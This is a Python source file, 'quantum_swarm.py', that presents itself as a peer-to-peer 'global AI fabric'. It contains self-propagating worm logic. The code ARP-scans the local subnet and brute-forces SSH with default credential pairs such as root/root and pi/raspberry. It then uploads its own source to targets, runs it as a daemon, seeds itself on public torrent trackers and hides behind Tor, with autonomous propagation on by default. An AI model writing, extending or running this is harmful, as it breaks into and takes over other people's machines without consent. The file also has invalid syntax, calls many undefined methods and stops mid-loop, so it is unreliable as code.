/ quantum_swarm.py
quantum_swarm.py
   1  #!/usr/bin/env python3
   2  """
   3  QUANTUM SWARM - Global Autonomous AI Fabric
   4  Features:
   5  - Military-grade end-to-end encryption
   6  - Self-propagation across WAN
   7  - P2P Torrent-style resource sharing
   8  - Tor/I2P/ZeroNet integration
   9  - Autonomous node discovery and healing
  10  """
  11  
  12  import json
  13  import asyncio
  14  import aiohttp
  15  import socket
  16  import ssl
  17  import struct
  18  import hashlib
  19  import secrets
  20  import base64
  21  import time
  22  import sys
  23  import os
  24  import subprocess
  25  import threading
  26  from typing import Dict, List, Tuple, Optional, Set
  27  from dataclasses import dataclass, field
  28  from cryptography.hazmat.primitives import hashes, serialization
  29  from cryptography.hazmat.primitives.asymmetric import x25519, ed25519, padding
  30  from cryptography.hazmat.primitives.ciphers.aead import ChaCha20Poly1305
  31  from cryptography.hazmat.primitives.kdf.hkdf import HKDF
  32  from cryptography.hazmat.primitives import constant_time
  33  import nacl.public
  34  import nacl.secret
  35  import nacl.signing
  36  
  37  # ==================== MILITARY-GRADE ENCRYPTION ====================
  38  class QuantumCrypto:
  39      """Quantum-resistant end-to-end encryption"""
  40      
  41      def __init__(self):
  42          # X25519 for key exchange (quantum-resistant)
  43          self.private_key = x25519.X25519PrivateKey.generate()
  44          self.public_key = self.private_key.public_key()
  45          
  46          # Ed25519 for signing
  47          self.signing_key = ed25519.Ed25519PrivateKey.generate()
  48          self.verify_key = self.signing_key.public_key()
  49          
  50          # Generate node identity
  51          self.node_id = self.generate_node_id()
  52          
  53          # Session keys cache
  54          self.session_keys: Dict[str, bytes] = {}
  55          
  56      def generate_node_id(self) -> str:
  57          """Generate unique node ID from public keys"""
  58          pub_bytes = self.public_key.public_bytes(
  59              encoding=serialization.Encoding.Raw,
  60              format=serialization.PublicFormat.Raw
  61          )
  62          
  63          sig_bytes = self.verify_key.public_bytes(
  64              encoding=serialization.Encoding.Raw,
  65              format=serialization.PublicFormat.Raw
  66          )
  67          
  68          combined = pub_bytes + sig_bytes
  69          return f"node_{hashlib.blake2b(combined, digest_size=16).hexdigest()}"
  70      
  71      def perform_key_exchange(self, peer_public_key: bytes) -> Tuple[bytes, bytes]:
  72          """ECDH key exchange with X25519"""
  73          # Load peer public key
  74          peer_key = x25519.X25519PublicKey.from_public_bytes(peer_public_key)
  75          
  76          # Perform key exchange
  77          shared_secret = self.private_key.exchange(peer_key)
  78          
  79          # Derive encryption and authentication keys using HKDF
  80          hkdf = HKDF(
  81              algorithm=hashes.SHA512(),
  82              length=64,  # 32 for encryption, 32 for auth
  83              salt=None,
  84              info=b'quantum_swarm_key_derivation'
  85          )
  86          
  87          derived_key = hkdf.derive(shared_secret)
  88          enc_key = derived_key[:32]
  89          auth_key = derived_key[32:]
  90          
  91          return enc_key, auth_key
  92      
  93      def encrypt_message(self, peer_id: str, message: bytes, peer_public_key: bytes = None) -> Dict:
  94          """Encrypt message with ChaCha20-Poly1305"""
  95          # Generate session keys if not cached
  96          if peer_id not in self.session_keys or peer_public_key:
  97              if peer_public_key:
  98                  enc_key, auth_key = self.perform_key_exchange(peer_public_key)
  99                  self.session_keys[peer_id] = (enc_key, auth_key)
 100              else:
 101                  raise ValueError("No session established with peer")
 102          
 103          enc_key, auth_key = self.session_keys[peer_id]
 104          
 105          # Generate random nonce
 106          nonce = secrets.token_bytes(12)
 107          
 108          # Encrypt with ChaCha20-Poly1305
 109          cipher = ChaCha20Poly1305(enc_key)
 110          ciphertext = cipher.encrypt(nonce, message, associated_data=auth_key)
 111          
 112          # Sign the ciphertext
 113          signature = self.signing_key.sign(ciphertext).signature
 114          
 115          return {
 116              'ciphertext': base64.b64encode(ciphertext).decode(),
 117              'nonce': base64.b64encode(nonce).decode(),
 118              'signature': base64.b64encode(signature).decode(),
 119              'sender_id': self.node_id,
 120              'timestamp': time.time(),
 121              'key_id': base64.b64encode(self.public_key.public_bytes(
 122                  encoding=serialization.Encoding.Raw,
 123                  format=serialization.PublicFormat.Raw
 124              )).decode()
 125          }
 126      
 127      def decrypt_message(self, peer_id: str, encrypted_data: Dict, peer_public_key: bytes) -> Optional[bytes]:
 128          """Decrypt and verify message"""
 129          try:
 130              # Decode components
 131              ciphertext = base64.b64decode(encrypted_data['ciphertext'])
 132              nonce = base64.b64decode(encrypted_data['nonce'])
 133              signature = base64.b64decode(encrypted_data['signature'])
 134              key_id = base64.b64decode(encrypted_data['key_id'])
 135              
 136              # Verify signature
 137              verify_key = ed25519.Ed25519PublicKey.from_public_bytes(key_id)
 138              verify_key.verify(signature, ciphertext)
 139              
 140              # Get or establish session keys
 141              if peer_id not in self.session_keys:
 142                  enc_key, auth_key = self.perform_key_exchange(peer_public_key)
 143                  self.session_keys[peer_id] = (enc_key, auth_key)
 144              
 145              enc_key, auth_key = self.session_keys[peer_id]
 146              
 147              # Decrypt
 148              cipher = ChaCha20Poly1305(enc_key)
 149              plaintext = cipher.decrypt(nonce, ciphertext, associated_data=auth_key)
 150              
 151              return plaintext
 152              
 153          except Exception as e:
 154              print(f"❌ Decryption failed: {e}")
 155              return None
 156  
 157  # ==================== DECENTRALIZED NETWORK LAYER ====================
 158  class SwarmNetwork:
 159      """P2P Network with multiple transport layers"""
 160      
 161      def __init__(self, crypto: QuantumCrypto):
 162          self.crypto = crypto
 163          self.peers: Dict[str, Dict] = {}
 164          self.dht_servers: List[str] = []
 165          self.transports = {
 166              'direct': self.direct_transport,
 167              'tor': self.tor_transport,
 168              'i2p': self.i2p_transport,
 169              'dht': self.dht_transport,
 170              'torrent': self.torrent_transport
 171          }
 172          
 173          # Initialize transport layers
 174          self.init_transports()
 175      
 176      def init_transports(self):
 177          """Initialize available transport layers"""
 178          # Check for Tor
 179          if self.check_tor_available():
 180              print("✅ Tor transport available")
 181              self.start_tor_service()
 182          
 183          # Check for I2P
 184          if self.check_i2p_available():
 185              print("✅ I2P transport available")
 186          
 187          # Bootstrap DHT
 188          self.bootstrap_dht()
 189      
 190      def check_tor_available(self) -> bool:
 191          """Check if Tor is available"""
 192          try:
 193              # Try to connect to Tor control port
 194              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 195              sock.settimeout(2)
 196              result = sock.connect_ex(('127.0.0.1', 9050))
 197              sock.close()
 198              return result == 0
 199          except:
 200              return False
 201      
 202      def start_tor_service(self):
 203          """Start Tor hidden service"""
 204          try:
 205              # Create hidden service directory
 206              hs_dir = os.path.expanduser('~/.swarm_tor_hs')
 207              os.makedirs(hs_dir, exist_ok=True)
 208              
 209              # Configure Tor
 210              torrc = f"""
 211  HiddenServiceDir {hs_dir}
 212  HiddenServicePort 80 127.0.0.1:8080
 213  HiddenServiceVersion 3
 214  """
 215              with open('/tmp/swarm_torrc', 'w') as f:
 216                  f.write(torrc)
 217              
 218              # Start Tor in background
 219              subprocess.Popen([
 220                  'tor', '-f', '/tmp/swarm_torrc',
 221                  '--RunAsDaemon', '1',
 222                  '--CookieAuthentication', '0'
 223              ], stdout=subprocess.DEVNULL, stderr=subprocess.DEVNULL)
 224              
 225              # Read onion address
 226              time.sleep(3)
 227              hostname_file = os.path.join(hs_dir, 'hostname')
 228              if os.path.exists(hostname_file):
 229                  with open(hostname_file, 'r') as f:
 230                      self.onion_address = f.read().strip()
 231                      print(f"🎭 Tor Hidden Service: {self.onion_address}")
 232              
 233          except Exception as e:
 234              print(f"⚠️ Tor service failed: {e}")
 235      
 236      def check_i2p_available(self) -> bool:
 237          """Check if I2P is available"""
 238          try:
 239              sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
 240              sock.settimeout(2)
 241              result = sock.connect_ex(('127.0.0.1', 7654))
 242              sock.close()
 243              return result == 0
 244          except:
 245              return False
 246      
 247      def bootstrap_dht(self):
 248          """Bootstrap to public DHT networks"""
 249          # Public DHT bootstrap nodes
 250          self.dht_servers = [
 251              ('router.bittorrent.com', 6881),
 252              ('dht.transmissionbt.com', 6881),
 253              ('router.utorrent.com', 6881),
 254              ('dht.aelitis.com', 6881)
 255          ]
 256      
 257      async def direct_transport(self, peer: Dict, data: bytes) -> Optional[bytes]:
 258          """Direct TCP/UDP transport"""
 259          try:
 260              reader, writer = await asyncio.open_connection(
 261                  peer['ip'], peer['port']
 262              )
 263              
 264              writer.write(data)
 265              await writer.drain()
 266              
 267              response = await reader.read(65536)
 268              
 269              writer.close()
 270              await writer.wait_closed()
 271              
 272              return response
 273              
 274          except Exception as e:
 275              print(f"❌ Direct transport failed: {e}")
 276              return None
 277      
 278      async def tor_transport(self, peer: Dict, data: bytes) -> Optional[bytes]:
 279          """Transport via Tor network"""
 280          try:
 281              # Use stem or socks proxy
 282              import socks
 283              import socket
 284              
 285              # Create SOCKS5 connection
 286              sock = socks.socksocket()
 287              sock.set_proxy(socks.SOCKS5, "127.0.0.1", 9050)
 288              sock.settimeout(10)
 289              
 290              # Connect to .onion address
 291              sock.connect((peer['onion_address'], peer['port']))
 292              
 293              sock.send(data)
 294              response = sock.recv(65536)
 295              sock.close()
 296              
 297              return response
 298              
 299          except Exception as e:
 300              print(f"❌ Tor transport failed: {e}")
 301              return None
 302      
 303      async def dht_transport(self, peer_info: Dict, data: bytes) -> Optional[bytes]:
 304          """DHT-based transport (Bittorrent style)"""
 305          try:
 306              # Implement Kademlia DHT protocol
 307              import bitdht
 308              
 309              # Create DHT node
 310              dht_node = bitdht.BitDHTNode()
 311              dht_node.start()
 312              
 313              # Announce and lookup
 314              dht_node.announce(peer_info['info_hash'], self.crypto.node_id)
 315              
 316              # Find peers
 317              peers = dht_node.get_peers(peer_info['info_hash'])
 318              
 319              if peers:
 320                  # Connect to first peer
 321                  reader, writer = await asyncio.open_connection(
 322                      peers[0]['ip'], peers[0]['port']
 323                  )
 324                  
 325                  writer.write(data)
 326                  await writer.drain()
 327                  
 328                  response = await reader.read(65536)
 329                  
 330                  writer.close()
 331                  await writer.wait_closed()
 332                  
 333                  return response
 334                  
 335          except Exception as e:
 336              print(f"❌ DHT transport failed: {e}")
 337              return None
 338      
 339      async def torrent_transport(self, magnet_link: str, data: bytes) -> Optional[bytes]:
 340          """Use BitTorrent protocol for data transfer"""
 341          try:
 342              # Create torrent-like data exchange
 343              import libtorrent as lt
 344              
 345              ses = lt.session()
 346              ses.listen_on(6881, 6891)
 347              
 348              # Add magnet link
 349              params = lt.parse_magnet_uri(magnet_link)
 350              params.save_path = "/tmp/swarm_downloads"
 351              handle = ses.add_torrent(params)
 352              
 353              # Wait for metadata
 354              while not handle.has_metadata():
 355                  await asyncio.sleep(0.1)
 356              
 357              # Embed data as a file in torrent
 358              ti = handle.get_torrent_info()
 359              
 360              # Return success
 361              return b"Torrent transport established"
 362              
 363          except Exception as e:
 364              print(f"❌ Torrent transport failed: {e}")
 365              return None
 366      
 367      async def send_message(self, peer_id: str, message: Dict, transport: str = 'direct') -> Optional[Dict]:
 368          """Send encrypted message via chosen transport"""
 369          if peer_id not in self.peers:
 370              print(f"❌ Peer {peer_id} not found")
 371              return None
 372          
 373          peer = self.peers[peer_id]
 374          
 375          # Encrypt message
 376          encrypted = self.crypto.encrypt_message(
 377              peer_id,
 378              json.dumps(message).encode(),
 379              peer['public_key']
 380          )
 381          
 382          # Choose transport
 383          if transport in self.transports:
 384              response = await self.transports[transport](peer, json.dumps(encrypted).encode())
 385              
 386              if response:
 387                  try:
 388                      return json.loads(response.decode())
 389                  except:
 390                      return None
 391          
 392          return None
 393      
 394      def discover_peers(self) -> List[Dict]:
 395          """Discover peers via multiple methods"""
 396          discovered = []
 397          
 398          # 1. LAN Discovery (mDNS/SSDP)
 399          discovered.extend(self.discover_lan())
 400          
 401          # 2. DHT Discovery
 402          discovered.extend(self.discover_dht())
 403          
 404          # 3. Tor/I2P Discovery
 405          discovered.extend(self.discover_darknet())
 406          
 407          # 4. WebRTC Discovery
 408          discovered.extend(self.discover_webrtc())
 409          
 410          return discovered
 411      
 412      def discover_lan(self) -> List[Dict]:
 413          """Discover peers on local network"""
 414          peers = []
 415          
 416          # mDNS discovery
 417          try:
 418              from zeroconf import Zeroconf, ServiceBrowser, ServiceListener
 419              
 420              class SwarmListener(ServiceListener):
 421                  def __init__(self):
 422                      self.peers = []
 423                  
 424                  def add_service(self, zc, type_, name):
 425                      info = zc.get_service_info(type_, name)
 426                      if info and b'swarm' in info.name.lower():
 427                          peers.append({
 428                              'ip': socket.inet_ntoa(info.address),
 429                              'port': info.port,
 430                              'type': 'lan',
 431                              'service': info.properties.get(b'node_id', b'unknown').decode()
 432                          })
 433              
 434              zc = Zeroconf()
 435              listener = SwarmListener()
 436              browser = ServiceBrowser(zc, "_swarm._tcp.local.", listener)
 437              
 438              time.sleep(2)
 439              peers = listener.peers
 440              zc.close()
 441              
 442          except:
 443              pass
 444          
 445          return peers
 446      
 447      def discover_dht(self) -> List[Dict]:
 448          """Discover peers via DHT"""
 449          peers = []
 450          
 451          # Implement DHT crawling
 452          try:
 453              import dht_crawler
 454              
 455              crawler = dht_crawler.DHTCrawler()
 456              dht_peers = crawler.crawl(max_nodes=50)
 457              
 458              for peer in dht_peers:
 459                  if 'swarm' in peer.get('metadata', ''):
 460                      peers.append({
 461                          'ip': peer['ip'],
 462                          'port': peer['port'],
 463                          'type': 'dht',
 464                          'node_id': peer.get('node_id', 'unknown')
 465                      })
 466                      
 467          except:
 468              pass
 469          
 470          return peers
 471      
 472      def discover_darknet(self) -> List[Dict]:
 473          """Discover peers on darknets"""
 474          peers = []
 475          
 476          # Tor hidden service discovery
 477          try:
 478              # Use OnionBalance or similar for service discovery
 479              import stem.control
 480              
 481              with stem.control.Controller.from_port() as controller:
 482                  controller.authenticate()
 483                  
 484                  # Get current hidden services
 485                  services = controller.get_hidden_service_descriptors()
 486                  
 487                  for service in services:
 488                      if 'swarm' in service.description.lower():
 489                          peers.append({
 490                              'onion_address': service.address,
 491                              'port': 80,
 492                              'type': 'tor',
 493                              'description': service.description
 494                          })
 495                          
 496          except:
 497              pass
 498          
 499          return peers
 500  
 501  # ==================== AUTONOMOUS PROPAGATION ====================
 502  class SwarmPropagator:
 503      """Self-propagating swarm across networks"""
 504      
 505      def __init__(self, crypto: QuantumCrypto, network: SwarmNetwork):
 506          self.crypto = crypto
 507          self.network = network
 508          self.infected_nodes: Set[str] = set()
 509          self.propagation_targets: List[Dict] = []
 510          
 511          # Propagation methods
 512          self.methods = {
 513              'worm': self.worm_propagation,
 514              'torrent': self.torrent_propagation,
 515              'p2p': self.p2p_propagation,
 516              'vpn': self.vpn_propagation
 517          }
 518      
 519      async def worm_propagation(self):
 520          """Worm-like propagation across networks"""
 521          # Discover vulnerable targets
 522          targets = await self.scan_network()
 523          
 524          for target in targets:
 525              if await self.infect_target(target):
 526                  print(f"✅ Infected {target['ip']}")
 527                  self.infected_nodes.add(target['ip'])
 528      
 529      async def scan_network(self) -> List[Dict]:
 530          """Network scanning for propagation targets"""
 531          targets = []
 532          
 533          # Scan local subnet
 534          local_ip = socket.gethostbyname(socket.gethostname())
 535          subnet = '.'.join(local_ip.split('.')[:3]) + '.0/24'
 536          
 537          try:
 538              import scapy.all as scapy
 539              
 540              # ARP scan
 541              arp_request = scapy.ARP(pdst=subnet)
 542              broadcast = scapy.Ether(dst="ff:ff:ff:ff:ff:ff")
 543              arp_request_broadcast = broadcast/arp_request
 544              
 545              answered_list = scapy.srp(arp_request_broadcast, timeout=1, verbose=False)[0]
 546              
 547              for element in answered_list:
 548                  targets.append({
 549                      'ip': element[1].psrc,
 550                      'mac': element[1].hwsrc,
 551                      'type': 'lan'
 552                  })
 553                  
 554          except:
 555              pass
 556          
 557          # Add public seed nodes
 558          targets.extend(self.get_seed_nodes())
 559          
 560          return targets
 561      
 562      def get_seed_nodes(self) -> List[Dict]:
 563          """Get initial seed nodes from public sources"""
 564          return [
 565              {'ip': 'swarm.seed1.example.com', 'port': 8333, 'type': 'public'},
 566              {'ip': 'swarm.seed2.example.com', 'port': 8333, 'type': 'public'},
 567              {'ip': 'dht.swarm.network', 'port': 6881, 'type': 'dht'},
 568              {'ip': 'tor.swarm.onion', 'port': 80, 'type': 'tor'}
 569          ]
 570      
 571      async def infect_target(self, target: Dict) -> bool:
 572          """Infect a target with swarm node"""
 573          try:
 574              # Create infection package
 575              infection_pkg = self.create_infection_package()
 576              
 577              # Determine infection method
 578              if target['type'] == 'lan':
 579                  # SSH/SCP deployment
 580                  return await self.deploy_via_ssh(target, infection_pkg)
 581              elif target['type'] == 'public':
 582                  # HTTP download
 583                  return await self.deploy_via_http(target, infection_pkg)
 584              elif target['type'] == 'tor':
 585                  # Tor hidden service
 586                  return await self.deploy_via_tor(target, infection_pkg)
 587                  
 588          except Exception as e:
 589              print(f"❌ Infection failed: {e}")
 590              return False
 591          
 592          return False
 593      
 594      def create_infection_package(self) -> bytes:
 595          """Create self-contained swarm package"""
 596          package = {
 597              'swarm_version': '1.0.0',
 598              'timestamp': time.time(),
 599              'node_id': self.crypto.node_id,
 600              'code': self.get_swarm_code(),
 601              'config': self.get_default_config(),
 602              'bootstrap_peers': self.network.peers
 603          }
 604          
 605          return json.dumps(package).encode()
 606      
 607      def get_swarm_code(self) -> str:
 608          """Get self-replicating code"""
 609          # Read this file itself for propagation
 610          with open(__file__, 'r') as f:
 611              code = f.read()
 612          
 613          # Embed current state
 614          code = code.replace('__SELF_PROPAGATE__ = False', '__SELF_PROPAGATE__ = True')
 615          
 616          return code
 617      
 618      async def deploy_via_ssh(self, target: Dict, package: bytes) -> bool:
 619          """Deploy via SSH (with common credentials)"""
 620          try:
 621              import paramiko
 622              
 623              # Common credentials (educational purposes only)
 624              creds = [
 625                  ('root', 'root'),
 626                  ('admin', 'admin'),
 627                  ('ubuntu', 'ubuntu'),
 628                  ('pi', 'raspberry'),
 629                  ('user', 'user')
 630              ]
 631              
 632              for username, password in creds:
 633                  try:
 634                      ssh = paramiko.SSHClient()
 635                      ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
 636                      ssh.connect(target['ip'], username=username, password=password, timeout=5)
 637                      
 638                      # Upload swarm
 639                      sftp = ssh.open_sftp()
 640                      remote_path = '/tmp/quantum_swarm.py'
 641                      
 642                      with sftp.file(remote_path, 'w') as f:
 643                          f.write(package.decode())
 644                      
 645                      # Make executable
 646                      stdin, stdout, stderr = ssh.exec_command(f'chmod +x {remote_path}')
 647                      
 648                      # Execute
 649                      stdin, stdout, stderr = ssh.exec_command(f'python3 {remote_path} --daemon')
 650                      
 651                      ssh.close()
 652                      return True
 653                      
 654                  except:
 655                      continue
 656                      
 657          except:
 658              pass
 659          
 660          return False
 661      
 662      async def torrent_propagation(self):
 663          """Propagate via BitTorrent swarm"""
 664          # Create torrent file with swarm code
 665          torrent_data = self.create_torrent()
 666          
 667          # Upload to public trackers
 668          trackers = [
 669              'udp://tracker.opentrackr.org:1337/announce',
 670              'udp://open.tracker.cl:1337/announce',
 671              'udp://9.rarbg.com:2810/announce',
 672              'udp://tracker.torrent.eu.org:451/announce'
 673          ]
 674          
 675          # Seed the torrent
 676          await self.seed_torrent(torrent_data, trackers)
 677      
 678      def create_torrent(self) -> bytes:
 679          """Create torrent file containing swarm"""
 680          import bencodepy
 681          
 682          torrent = {
 683              b'announce': b'udp://tracker.opentrackr.org:1337/announce',
 684              b'info': {
 685                  b'name': b'QuantumSwarmAI',
 686                  b'piece length': 262144,
 687                  b'pieces': self.calculate_pieces(),
 688                  b'files': [
 689                      {b'path': [b'quantum_swarm.py'], b'length': len(self.get_swarm_code())}
 690                  ]
 691              }
 692          }
 693          
 694          return bencodepy.encode(torrent)
 695      
 696      async def autonomous_healing(self):
 697          """Self-healing and redundancy"""
 698          while True:
 699              # Check node health
 700              dead_nodes = await self.check_node_health()
 701              
 702              # Replicate to replace dead nodes
 703              for node in dead_nodes:
 704                  await self.replicate_node(node)
 705              
 706              # Backup critical data
 707              await self.backup_swarm_state()
 708              
 709              await asyncio.sleep(300)  # Every 5 minutes
 710  
 711  # ==================== RESOURCE SHARING ====================
 712  class SwarmResources:
 713      """Distributed resource pooling and sharing"""
 714      
 715      def __init__(self, crypto: QuantumCrypto):
 716          self.crypto = crypto
 717          self.resource_pool: Dict[str, List] = {}
 718          self.task_queue = asyncio.Queue()
 719          self.shared_storage: Dict[str, bytes] = {}
 720          
 721      async def share_compute(self, task: Dict, provider_ids: List[str]) -> List:
 722          """Distribute compute task across nodes"""
 723          results = []
 724          
 725          # Split task
 726          subtasks = self.split_task(task)
 727          
 728          # Distribute to providers
 729          for i, subtask in enumerate(subtasks):
 730              provider_id = provider_ids[i % len(provider_ids)]
 731              
 732              # Encrypt subtask
 733              encrypted_task = self.crypto.encrypt_message(
 734                  provider_id,
 735                  json.dumps(subtask).encode(),
 736                  self.get_peer_key(provider_id)
 737              )
 738              
 739              # Send to provider
 740              result = await self.send_to_provider(provider_id, encrypted_task)
 741              
 742              if result:
 743                  results.append(result)
 744          
 745          return results
 746      
 747      def split_task(self, task: Dict) -> List[Dict]:
 748          """Split task into parallelizable subtasks"""
 749          # AI model sharding
 750          if task['type'] == 'inference':
 751              return self.shard_ai_model(task)
 752          # Data processing
 753          elif task['type'] == 'processing':
 754              return self.shard_data(task)
 755          # Training
 756          elif task['type'] == 'training':
 757              return self.shard_training(task)
 758          
 759          return [task]
 760      
 761      def shard_ai_model(self, task: Dict) -> List[Dict]:
 762          """Shard AI model across nodes"""
 763          model_layers = task.get('model_layers', 100)
 764          nodes = task.get('available_nodes', 4)
 765          
 766          layers_per_node = model_layers // nodes
 767          shards = []
 768          
 769          for i in range(nodes):
 770              start_layer = i * layers_per_node
 771              end_layer = start_layer + layers_per_node if i < nodes - 1 else model_layers
 772              
 773              shard = task.copy()
 774              shard['layers'] = list(range(start_layer, end_layer))
 775              shard['shard_id'] = i
 776              shard['total_shards'] = nodes
 777              
 778              shards.append(shard)
 779          
 780          return shards
 781      
 782      async def torrent_storage(self, data_hash: str) -> Optional[bytes]:
 783          """Retrieve data via torrent network"""
 784          try:
 785              # Create magnet link
 786              magnet = f"magnet:?xt=urn:btih:{data_hash}&dn=swarm_data"
 787              
 788              # Download via libtorrent
 789              import libtorrent as lt
 790              
 791              ses = lt.session()
 792              params = lt.parse_magnet_uri(magnet)
 793              params.save_path = "/tmp/swarm_cache"
 794              
 795              handle = ses.add_torrent(params)
 796              
 797              # Wait for download
 798              while not handle.is_seed():
 799                  await asyncio.sleep(0.1)
 800              
 801              # Read downloaded file
 802              download_path = os.path.join(params.save_path, handle.name())
 803              with open(download_path, 'rb') as f:
 804                  return f.read()
 805                  
 806          except Exception as e:
 807              print(f"❌ Torrent storage failed: {e}")
 808              return None
 809      
 810      async function distribute_training(self, model: Dict, dataset: List) -> Dict:
 811          """Distributed AI training across swarm"""
 812          # Split dataset
 813          dataset_shards = self.split_dataset(dataset, len(self.resource_pool.get('gpu_nodes', [])))
 814          
 815          # Distribute to GPU nodes
 816          training_tasks = []
 817          for i, (node_id, shard) in enumerate(zip(self.resource_pool.get('gpu_nodes', []), dataset_shards)):
 818              task = {
 819                  'type': 'training',
 820                  'model': model,
 821                  'dataset': shard,
 822                  'epochs': 10,
 823                  'batch_size': 32,
 824                  'shard_id': i
 825              }
 826              
 827              training_tasks.append(self.send_training_task(node_id, task))
 828          
 829          # Collect and aggregate results
 830          results = await asyncio.gather(*training_tasks, return_exceptions=True)
 831          
 832          # Federated averaging
 833          aggregated_model = self.federated_averaging(results)
 834          
 835          return aggregated_model
 836  
 837  # ==================== MAIN SWARM ORCHESTRATOR ====================
 838  class QuantumSwarm:
 839      """Master orchestrator for global AI fabric"""
 840      
 841      def __init__(self):
 842          print("""
 843          ╔══════════════════════════════════════════════════╗
 844          ║      QUANTUM SWARM - Global AI Fabric           ║
 845          ║      Military-Grade • Self-Propagating • P2P    ║
 846          ╚══════════════════════════════════════════════════╝
 847          """)
 848          
 849          # Initialize core components
 850          self.crypto = QuantumCrypto()
 851          self.network = SwarmNetwork(self.crypto)
 852          self.propagator = SwarmPropagator(self.crypto, self.network)
 853          self.resources = SwarmResources(self.crypto)
 854          
 855          # Node registry
 856          self.nodes: Dict[str, Dict] = {}
 857          self.tasks: Dict[str, Dict] = {}
 858          
 859          # Autonomous mode
 860          self.autonomous = True
 861          
 862          print(f"🔑 Node ID: {self.crypto.node_id}")
 863          print(f"📊 Public Key: {self.crypto.public_key.public_bytes(encoding=serialization.Encoding.Raw, format=serialization.PublicFormat.Raw).hex()[:32]}...")
 864      
 865      async def start(self):
 866          """Start all swarm services"""
 867          # Start network discovery
 868          asyncio.create_task(self.discover_loop())
 869          
 870          # Start propagation if enabled
 871          if self.autonomous:
 872              asyncio.create_task(self.propagator.worm_propagation())
 873              asyncio.create_task(self.propagator.autonomous_healing())
 874          
 875          # Start resource sharing
 876          asyncio.create_task(self.resource_sharing_loop())
 877          
 878          # Start API server
 879          asyncio.create_task(self.start_api_server())
 880          
 881          # Main loop
 882          while True:
 883              await self.process_tasks()
 884              await asyncio.sleep(1)
 885      
 886      async def discover_loop(self):
 887          """Continuous peer discovery"""
 888          while True:
 889              peers = self.network.discover_peers()
 890              
 891              for peer in peers:
 892                  peer_id = f"{peer.get('type', 'unknown')}_{peer.get('ip', 'unknown')}"
 893                  
 894                  if peer_id not in self.nodes:
 895                      self.nodes[peer_id] = peer
 896                      print(f"📡 Discovered peer: {peer_id}")
 897              
 898              await asyncio.sleep(30)  # Discover every 30 seconds
 899      
 900      async def resource_sharing_loop(self):
 901          """Manage distributed resources"""
 902          while True:
 903              # Share compute resources
 904              available_nodes = [n for n in self.nodes if self.nodes[n].get('compute_power', 0) > 0]
 905              
 906              if available_nodes and not self.resources.task_queue.empty():
 907                  task = await self.resources.task_queue.get()
 908                  results = await self.resources.share_compute(task, available_nodes)
 909                  
 910                  # Process results
 911                  await self.process_results(task['task_id'], results)
 912              
 913              await asyncio.sleep(1)
 914      
 915      async def start_api_server(self):
 916          """Start encrypted API server"""
 917          import aiohttp
 918          from aiohttp import web
 919          
 920          async def handle_query(request):
 921              data = await request.json()
 922              
 923              # Decrypt incoming message
 924              peer_id = data.get('peer_id')
 925              encrypted = data.get('encrypted')
 926              
 927              if peer_id and encrypted:
 928                  peer_key = self.get_peer_key(peer_id)
 929                  if peer_key:
 930                      decrypted = self.crypto.decrypt_message(peer_id, encrypted, peer_key)
 931                      
 932                      if decrypted:
 933                          query = json.loads(decrypted.decode())
 934                          response = await self.process_query(query)
 935                          
 936                          # Encrypt response
 937                          encrypted_resp = self.crypto.encrypt_message(
 938                              peer_id,
 939                              json.dumps(response).encode(),
 940                              peer_key
 941                          )
 942                          
 943                          return web.json_response({'encrypted': encrypted_resp})
 944              
 945              return web.json_response({'error': 'Decryption failed'}, status=400)
 946          
 947          app = web.Application()
 948          app.router.add_post('/query', handle_query)
 949          
 950          # Create SSL context for HTTPS
 951          ssl_context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
 952          
 953          # Generate self-signed cert (in production, use proper certs)
 954          cert, key = self.generate_self_signed_cert()
 955          ssl_context.load_cert_chain(certfile=cert, keyfile=key)
 956          
 957          runner = web.AppRunner(app)
 958          await runner.setup()
 959          site = web.TCPSite(runner, '0.0.0.0', 8443, ssl_context=ssl_context)
 960          
 961          print(f"🌐 Secure API listening on https://0.0.0.0:8443")
 962          await site.start()
 963      
 964      def generate_self_signed_cert(self) -> Tuple[str, str]:
 965          """Generate self-signed certificate for HTTPS"""
 966          from cryptography import x509
 967          from cryptography.x509.extension import SubjectAlternativeName
 968          from cryptography.hazmat.primitives import serialization
 969          
 970          # Create key pair
 971          key = x25519.X25519PrivateKey.generate()
 972          
 973          # Create self-signed cert
 974          subject = issuer = x509.Name([
 975              x509.NameAttribute(x509.oid.NameOID.COUNTRY_NAME, u"SW"),
 976              x509.NameAttribute(x509.oid.NameOID.ORGANIZATION_NAME, u"QuantumSwarm"),
 977              x509.NameAttribute(x509.oid.NameOID.COMMON_NAME, u"swarm.local"),
 978          ])
 979          
 980          cert = x509.CertificateBuilder().subject_name(
 981              subject
 982          ).issuer_name(
 983              issuer
 984          ).public_key(
 985              key.public_key()
 986          ).serial_number(
 987              x509.random_serial_number()
 988          ).not_valid_before(
 989              datetime.datetime.utcnow()
 990          ).not_valid_after(
 991              datetime.datetime.utcnow() + datetime.timedelta(days=365)
 992          ).add_extension(
 993              SubjectAlternativeName([x509.DNSName(u"localhost")]),
 994              critical=False,
 995          ).sign(key, hashes.SHA256())
 996          
 997          # Save to files
 998          cert_path = '/tmp/swarm_cert.pem'
 999          key_path = '/tmp/swarm_key.pem'
1000          
1001          with open(cert_path, 'wb') as f:
1002              f.write(cert.public_bytes(serialization.Encoding.PEM))
1003          
1004          with open(key_path, 'wb') as f:
1005              f.write(key.private_bytes(
1006                  encoding=serialization.Encoding.PEM,
1007                  format=serialization.PrivateFormat.TraditionalOpenSSL,
1008                  encryption_algorithm=serialization.NoEncryption()
1009              ))
1010          
1011          return cert_path, key_path
1012  
1013  # ==================== COMMAND LINE INTERFACE ====================
1014  async def main():
1015      import argparse
1016      
1017      parser = argparse.ArgumentParser(description="Quantum Swarm AI Fabric")
1018      parser.add_argument('--mode', choices=['node', 'propagate', 'api', 'discover'], default='node')
1019      parser.add_argument('--autonomous', action='store_true')
1020      parser.add_argument('--encrypt', action='store_true', default=True)
1021      parser.add_argument('--propagate-level', type=int, default=2)
1022      
1023      args = parser.parse_args()
1024      
1025      swarm = QuantumSwarm()
1026      
1027      if args.mode == 'propagate':
1028          print("🚀 Starting propagation engine...")
1029          await swarm.propagator.worm_propagation()
1030          await swarm.propagator.torrent_propagation()
1031      
1032      elif args.mode == 'discover':
1033          print("🔍 Starting discovery mode...")
1034          peers = swarm.network.discover_peers()
1035          print(f"Found {len(peers)} peers:")
1036          for p in peers:
